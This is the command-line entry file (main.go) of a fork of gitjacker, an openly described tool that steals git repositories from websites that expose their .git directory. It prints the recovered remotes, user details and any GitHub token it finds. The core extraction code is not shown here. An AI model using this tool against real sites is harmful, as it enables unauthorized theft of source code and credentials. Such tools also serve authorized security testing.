forked from liamg/gitjacker
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.go
More file actions
178 lines (150 loc) · 5.16 KB
/
main.go
File metadata and controls
178 lines (150 loc) · 5.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
package main
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"os/exec"
"strings"
"github.com/sirupsen/logrus"
"github.com/liamg/gitjacker/internal/app/version"
"github.com/liamg/gitjacker/internal/pkg/gitjacker"
"github.com/liamg/tml"
"github.com/spf13/cobra"
)
var outputDir string
var verbose bool
func main() {
rootCmd.Flags().BoolVarP(&verbose, "verbose", "v", verbose, "Enable verbose logging")
rootCmd.Flags().StringVarP(&outputDir, "output-dir", "o", outputDir, "Directory to output retrieved git repository - defaults to a temporary directory")
if err := rootCmd.Execute(); err != nil {
os.Exit(1)
}
}
var rootCmd = &cobra.Command{
SilenceUsage: true,
Use: "gitjacker [url]",
Short: "Gitjacker steals git repositories from websites which mistakenly host the contents of the .git directory",
Long: `Gitjacker steals git repositories from websites which mistakenly host the contents of the .git directory.
More information at https://github.com/liamg/gitjacker`,
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
_ = tml.Printf(`<red>
██████ ██ ████████ ██ █████ ██████ ██ ██ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ███ ██ ██ ██ ███████ ██ █████ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ██ █████ ██ ██ ██████ ██ ██ ███████ ██ ██
https://github.com/liamg/gitjacker %9s
`, version.Version)
rawURL := args[0]
rawURL = strings.TrimSuffix(rawURL, "/.git/")
rawURL = strings.TrimSuffix(rawURL, "/.git")
u, err := url.Parse(rawURL)
if err != nil {
fail("Invalid url: %s", err)
}
if !u.IsAbs() {
fail("Invalid url: must be absolute e.g. https://victim.website/")
}
if outputDir == "" {
outputDir, err = ioutil.TempDir(os.TempDir(), "gitjacker")
if err != nil {
fail("Failed to create temporary directory: %s", err)
}
}
versionData, err := exec.Command("git", "--version").Output()
if err != nil {
fail("Cannot check git version: %s - please check it is installed", err)
}
versionParts := strings.Split(string(versionData), " ")
version := strings.TrimSpace(versionParts[len(versionParts)-1])
if verbose {
logrus.SetLevel(logrus.DebugLevel)
}
_ = tml.Printf(`
Target: <yellow>%s</yellow>
Local Git: %s
Output Dir: %s
`, u.String(), version, outputDir)
if !verbose {
_ = tml.Printf("\n<yellow>Gitjacking in progress...")
}
summary, err := gitjacker.New(u, outputDir).Run()
if err != nil {
if !verbose {
fmt.Printf("\x1b[2K\r")
}
if errors.Is(err, gitjacker.ErrNotVulnerable) {
fail("The provided URL does not appear vulnerable.\n\nError: %s", err)
}
fail("Gitjacking failed: %s", err)
}
if !verbose {
_ = tml.Printf("\x1b[2K\r<yellow>Operation complete.\n")
}
status := "FAILED"
switch summary.Status {
case gitjacker.StatusPartialSuccess:
status = tml.Sprintf("<yellow>Partial Success")
case gitjacker.StatusSuccess:
status = tml.Sprintf("<green>Success")
}
var remoteStr string
for _, remote := range summary.Config.Remotes {
remoteStr = tml.Sprintf("%s\n - %s: <bold>%s", remoteStr, remote.Name, remote.URL)
}
if len(summary.Config.Remotes) == 0 {
remoteStr = "n/a"
}
var branchStr string
for _, branch := range summary.Config.Branches {
branchStr = tml.Sprintf("%s\n - %s (%s)", branchStr, branch.Name, branch.Remote)
}
if len(summary.Config.Branches) == 0 {
branchStr = "n/a"
}
var userStr string
if summary.Config.User.Name != "" {
userStr = tml.Sprintf("%s\n - Name: %s", userStr, summary.Config.User.Name)
}
if summary.Config.User.Username != "" {
userStr = tml.Sprintf("%s\n - Username: <bold>%s", userStr, summary.Config.User.Username)
}
if summary.Config.User.Email != "" {
userStr = tml.Sprintf("%s\n - Email: <bold>%s", userStr, summary.Config.User.Email)
}
if summary.Config.GithubToken.Token != "" {
userStr = tml.Sprintf("%s\n - GitHub Token: %s:<bold>%s", userStr, summary.Config.GithubToken.Username, summary.Config.GithubToken.Token)
}
if userStr == "" {
userStr = "n/a"
}
_ = tml.Printf(`
Status: %s
Retrieved Objects: <green>%d</green>
Missing Objects: <red>%d</red>
Pack Data Listed: %t
Repository: %s
Remotes: %s
Branches: %s
User Info: %s
You can find the retrieved repository data in <blue><bold>%s</bold></blue>
`,
status,
len(summary.FoundObjects),
len(summary.MissingObjects),
summary.PackInformationAvailable,
summary.Config.RepositoryName,
remoteStr,
branchStr,
userStr,
summary.OutputDirectory,
)
},
}
func fail(format string, args ...interface{}) {
_, _ = fmt.Fprintln(os.Stderr, tml.Sprintf("<red>%s", fmt.Sprintf(format, args...)))
os.Exit(1)
}